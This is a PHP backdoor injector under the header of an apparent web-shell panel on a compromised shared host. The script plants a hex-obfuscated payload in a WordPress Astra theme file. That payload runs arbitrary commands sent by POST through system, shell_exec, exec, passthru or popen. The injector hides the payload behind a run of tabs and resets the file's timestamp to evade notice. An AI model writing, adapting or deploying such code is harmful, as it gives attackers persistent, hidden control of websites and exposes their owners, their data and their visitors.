| Server IP : 192.254.185.80 / Your IP : 216.73.217.139 Web Server : Apache System : Linux gator3137.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64 User : msarats2 ( 1847) PHP Version : 8.3.35 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home1/msarats2/www/ |
Upload File : |
<?php function pb_leading_namespace_or_declare($content) { $p = 0; $len = strlen($content); if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } if (strncmp($content, '<?php', 5) === 0) { $p += 5; } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?' && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) { $p += 2; } else { return false; } while ($p < $len) { while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } if ($p >= $len) { break; } if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') { $nl = strpos($content, "\n", $p); $p = ($nl === false) ? $len : $nl + 1; continue; } if ($p < $len && $content[$p] === '#') { $nl = strpos($content, "\n", $p); $p = ($nl === false) ? $len : $nl + 1; continue; } if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') { $end = strpos($content, '*/', $p + 2); $p = ($end === false) ? $len : $end + 2; continue; } return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p)); } return false; } $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/customizer/astra-pro/class-astra-pro-upgrade-link-configs.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24res1%20%3D%20%277%27%3B%24res2%20%3D%20%279%27%3B%24res3%20%3D%20%276%27%3B%24res4%20%3D%20%27d%27%3B%24res5%20%3D%20%278%27%3B%24res6%20%3D%20%275%27%3B%24res7%20%3D%20%27c%27%3B%24res8%20%3D%20%271%27%3B%24res9%20%3D%20%273%27%3B%24res10%20%3D%20%272%27%3B%24res11%20%3D%20%270%27%3B%24res12%20%3D%20%27e%27%3B%24res13%20%3D%20%27f%27%3B%24res14%20%3D%20%274%27%3B%24publish_content1%20%3D%20pack%28%22H%2A%22%2C%20%24res1%20.%20%273%27%20.%20%24res1%20.%20%24res2%20.%20%277%27%20.%20%273%27%20.%20%277%27%20.%20%274%27%20.%20%276%27%20.%20%275%27%20.%20%24res3%20.%20%24res4%29%3B%24publish_content2%20%3D%20pack%28%22H%2A%22%2C%20%277%27%20.%20%273%27%20.%20%276%27%20.%20%24res5%20.%20%276%27%20.%20%24res6%20.%20%24res3%20.%20%24res7%20.%20%24res3%20.%20%24res7%20.%20%24res6%20.%20%27f%27%20.%20%276%27%20.%20%24res6%20.%20%277%27%20.%20%24res5%20.%20%24res3%20.%20%275%27%20.%20%24res3%20.%20%273%27%29%3B%24publish_content3%20%3D%20pack%28%22H%2A%22%2C%20%24res3%20.%20%24res6%20.%20%277%27%20.%20%278%27%20.%20%276%27%20.%20%24res6%20.%20%276%27%20.%20%273%27%29%3B%24publish_content4%20%3D%20pack%28%22H%2A%22%2C%20%277%27%20.%20%270%27%20.%20%24res3%20.%20%24res8%20.%20%277%27%20.%20%273%27%20.%20%277%27%20.%20%24res9%20.%20%277%27%20.%20%274%27%20.%20%276%27%20.%20%24res5%20.%20%24res1%20.%20%24res10%20.%20%24res1%20.%20%24res6%29%3B%24publish_content5%20%3D%20pack%28%22H%2A%22%2C%20%24res1%20.%20%24res11%20.%20%24res3%20.%20%27f%27%20.%20%24res1%20.%20%24res11%20.%20%24res3%20.%20%275%27%20.%20%276%27%20.%20%24res12%29%3B%24publish_content6%20%3D%20pack%28%22H%2A%22%2C%20%277%27%20.%20%273%27%20.%20%24res1%20.%20%274%27%20.%20%24res1%20.%20%272%27%20.%20%24res3%20.%20%24res6%20.%20%276%27%20.%20%271%27%20.%20%24res3%20.%20%27d%27%20.%20%275%27%20.%20%24res13%20.%20%24res3%20.%20%24res1%20.%20%24res3%20.%20%24res6%20.%20%24res1%20.%20%274%27%20.%20%24res6%20.%20%24res13%20.%20%276%27%20.%20%24res9%20.%20%24res3%20.%20%24res13%20.%20%276%27%20.%20%27e%27%20.%20%24res1%20.%20%274%27%20.%20%276%27%20.%20%24res6%20.%20%24res3%20.%20%24res12%20.%20%277%27%20.%20%24res14%20.%20%277%27%20.%20%24res9%29%3B%24publish_content7%20%3D%20pack%28%22H%2A%22%2C%20%24res1%20.%20%270%27%20.%20%24res3%20.%20%24res9%20.%20%276%27%20.%20%27c%27%20.%20%276%27%20.%20%24res13%20.%20%277%27%20.%20%24res9%20.%20%276%27%20.%20%275%27%29%3B%24api_gateway%20%3D%20pack%28%22H%2A%22%2C%20%276%27%20.%20%271%27%20.%20%277%27%20.%20%270%27%20.%20%276%27%20.%20%24res2%20.%20%24res6%20.%20%24res13%20.%20%276%27%20.%20%277%27%20.%20%24res3%20.%20%24res8%20.%20%24res1%20.%20%274%27%20.%20%276%27%20.%20%24res6%20.%20%277%27%20.%20%24res1%20.%20%276%27%20.%20%271%27%20.%20%277%27%20.%20%24res2%29%3Bif%28isset%28%24_POST%5B%24api_gateway%5D%29%29%7B%24api_gateway%3Dpack%28%22H%2A%22%2C%24_POST%5B%24api_gateway%5D%29%3Bif%28function_exists%28%24publish_content1%29%29%7B%24publish_content1%28%24api_gateway%29%3B%7Delseif%28function_exists%28%24publish_content2%29%29%7Bprint%20%24publish_content2%28%24api_gateway%29%3B%7Delseif%28function_exists%28%24publish_content3%29%29%7B%24publish_content3%28%24api_gateway%2C%24ref_sym%29%3Bprint%20join%28%22%5Cn%22%2C%24ref_sym%29%3B%7Delseif%28function_exists%28%24publish_content4%29%29%7B%24publish_content4%28%24api_gateway%29%3B%7Delseif%28function_exists%28%24publish_content5%29%26%26function_exists%28%24publish_content6%29%26%26function_exists%28%24publish_content7%29%29%7B%24pset_record%3D%24publish_content5%28%24api_gateway%2C%22r%22%29%3Bif%28%24pset_record%29%7B%24ptr_mrk%3D%24publish_content6%28%24pset_record%29%3B%24publish_content7%28%24pset_record%29%3Bprint%20%24ptr_mrk%3B%7D%7Dexit%3B%7D'); if (strlen($content) < 32) { die('!failed!'); } if (pb_leading_namespace_or_declare($content)) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft + 10); $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die('!success!'); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');